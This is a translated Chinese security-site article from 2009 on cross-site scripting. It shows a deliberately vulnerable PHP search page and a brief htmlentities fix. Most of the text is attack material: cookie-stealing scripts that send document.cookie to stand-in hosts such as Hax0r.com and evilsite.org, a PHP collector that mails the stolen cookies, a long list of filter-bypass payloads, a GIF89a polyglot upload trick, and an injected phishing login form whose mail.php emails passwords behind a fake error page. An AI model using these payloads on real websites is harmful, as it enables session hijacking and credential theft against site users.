首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>网络安全>文章内容
跨站脚本攻防之道
来源:www.eviloctal.com 作者:riusksk 发布时间:2009-04-15  

文章作者:Xylitol
译者作者:riusksk (泉哥:http://riusksk.blogbus.com
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

注:本文首发《黑客防线》,后由译文原创作者友情提交到邪恶八进制信息安全团队,翻译自国外著名安全杂志《(IN)SECURE Magazine》,转载请注明出处。

摘要:

1>  何为跨站(XSS)?

2>  存在跨站的代码

3>  Cookie劫持

4>  XSS防御

5> 破坏方式

6> 绕过字符过滤

7> Flash攻击

8> 上传文件XSS

9> 跨站钓鱼

1.何为跨站(XSS)?

XSS又叫CSS(Cross Site Script) ,跨站脚本攻击(译注:因为Cross Site Script的缩写是CSS,但CSS在网页设计领域中已经被广泛地层叠样式表,所以将Cross改为以发音相近的X作为缩写,但早期的文件还是会使用 CSS来表示跨站脚本)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而 达到恶意用户的特殊目的。攻击者得到更高的权限后,可以利用存在漏洞的ActiveX控件,欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件 (如间谍软件,远程控制软件,蠕虫等),也可以窃取机密的网页内容,会话的cookie以及许多其它信息。

存在XSS的代码
打开记事本,复制并粘贴以下脚本代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />

<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style><title>Simple XSS vulnerability by Xylitol</title>
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>
</tr>
</table>
<table width="268" border="0">
<tr>
<td width="262"><div align="center">
<input name="submit" type="submit" value="    Search it !    " />
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>

然后保存为index.html,效果图如图1(译注:原文中无图片):

20090414_a2e9671e7348e5f74dfeqiftsbyyrdbnpng

重新打开记事本,并复制/粘贴以下代码:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Search result:</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<body>
<span class="alerte">Search result  :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>
</html>

保存为xss.php,关闭记事本。用浏览器打开index.html,输入<script>alert('XSS')</script>并点”search it”按钮,就会出现一个提示窗口,如图2:

20090414_0ab9bf8854c596a2c9b0an6hvkm11ecx

XSS漏洞就在这里!

Cookie劫持
在一个存XSS漏洞的页面中输入下列代码:

<script>
window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);
</script>

www.Hax0r.comj 是你自己的站点)
打开记事本,并保存为cookie.php。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli :)', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>
</body>
</html>

这对于窃取资料来不够,需要等待将窃取的cookie内容以电子邮件的形式发送给我们。

XSS防御
修补漏洞:

可以使用htmlentities函数来修补XSS漏洞,代码如下:

<body>
<span class="alerte">Search result  :</span> <strong>

<?php

echo $_POST['Vulnerability'];

?>

</strong>
</body>
By:
<body>
<span class="alerte">Search result  :</span> <strong>

<?php
if(isset($_POST['Vulnerability']))

{

echo htmlentities($_POST['Vulnerability']);

}

?>

</strong>
</body>

使用PHP中的htmlspecialchars函数 ;)

其它函数:

Htmlentities() qutos

strip_tags()
...

5.攻击方式

利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式……

图片攻击:<IMG SRC="http://hax0r.com/Haxored.png">

或者视频flash:<EMBED SRC= http://hax0r.com/Haxored.swf

还有网站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script>

也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" />

绕过字符过滤
实际上要想绕过htmlspecialchars()函数并不是那么容易,这里举几个绕过字符过滤的XSS:

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;
URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"
CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<? echo('<scr)';
echo('ipt>alert(\"XSS\")</script>'); ?>

<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">

<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>

<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>

<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>

<script>alert(1);</script>

若想获得更多的资料可以使用google.搜索(译注:在国外著名站点: www.xssing.com 上面也有很多跨站语句,值得借鉴)。

Flash攻击
Flash是主要用于复杂的动画,模拟和游戏开发等……能让我们感兴趣的是getURL()的功能,这个函数可以使我们重定向到另一页面,它的创建语法如下:

getURL(url:String, [window: String,[method:String]])

例如:

getURL("http://victime.com/login.php?logout=true","_self");

url参数:url用来获得文档的统一定位资源

windows参数:设置所要访问链接的网页窗口打开方式(_self, _blank…)。

Variable参数:规定参数的传输方式(get或者post)。

这里运行javascript脚本来弹出警告:

getURL("javascript:alert('XSS'");

在2002年的时候被暴出了该函数的一个危险漏洞,可以使用下列方式来获取网站访问者的cookie:

getURL("javascript:alert(document.cookie)")

在2005年12月,似乎存在一个新的选择,这主要受益于一个永久性的XSS漏洞,这允许在flash文件的签名(signature)中使用XSS参 数。此外,作者使用这种技术是为了防御在MySpace中传播的“Samy ”XSS蠕虫:Samy可以重载隐藏在flash中的cookie窃取器吗?不,但有其它技术可以实现。

例如:

flash文件:

GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self");

Haxored.js:

document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;

简单的防御措施:不要从网站上下载flash文件。

XSS上传文件
在画板里创建一个Haxored.gif图像作为例子,然后用记事本打开它,删除所有内容并插入下面的内容:

GIF89a<script>alert("XSS")</script>

保存并关闭它。

然后把图像上传到一个网站上,再查看你的图像,XSS就产生了……不要打开Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行警告框,可以使用Internet explorer。

为什么在前面添加GIF89a呢?

上传一些像这样的文件,会在各个.gif文件中检查是否包含'GIF89a'代码,这个漏洞导致可以上传经'GIF89a'代码确认,且包含恶意代码的图片。

GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script>

可以试着去了解一下其它图像文件格式的确认代码,使用一个文件编辑器就可以打开.jpg及其它格式的图片,例如一个png格式的文件:‰PNG

PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà ?JFIF
BMP = BMFÖ

对于这种漏洞不能单纯地使用getimagesize()进行检测。

跨站钓鱼
你是否已经理解了钓鱼(phishing)与XSS的概念呢(译注:钓鱼fishing中的f与ph的发音相似,因此使用phishing来代替fishing)?

在我们的例子里将需要找一个存在XSS漏洞的站点进跨站,并在一个form表单里注入一个URL重定向的代码:

<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>Password:</td><td>
<input type=text length=20 name=password>
</td></tr></table><input type=submit value=        OK        >
</form>

效果如图3所示:

20090414_6f5718f51597309554ecl7jsty6qqmy0

我想你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是就是用来发送email的(mail.php):

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
}
-->
</style></head>
<?php
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli :)", $password , $login );
?>
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2>
</body>
</html>

用户将会相信网页等待与超载是正常的,而不会有所怀疑,相信你已经理解了这一原理。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·一句话木马
·samcrypt.lib简介
·教你轻松查看QQ空间加密后的好友
·web sniffer 在线嗅探/online ht
·SPIKE与Peach Fuzzer相关知识
·asp,php,aspx一句话集合
·Cisco PIX525 配置备忘
·用Iptables+Fedora做ADSL 路由器
·检查 Web 应用安全的几款开源免
·Md5(base64)加密与解密实战
·NT下动态切换进程分析笔记
·风险评估中的渗透测试
  相关文章
·windows驱动漏洞发现与利用
·总结linux安全
·冰河暗涌防不胜防 BIOS下实现的T
·BIOS中隐藏Telnet后门
·平安夜 大学网站不平安
·Penetration Testing 渗透测试 (
·风险评估中的渗透测试
·何迪生:纵深防御管理保护企业核
·论甲方的信息安全
·pfSense 防火墙硬件平台性能评估
·域内网中的信息收集之一内网结构
·信息安全管理体系在基金公司的实
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved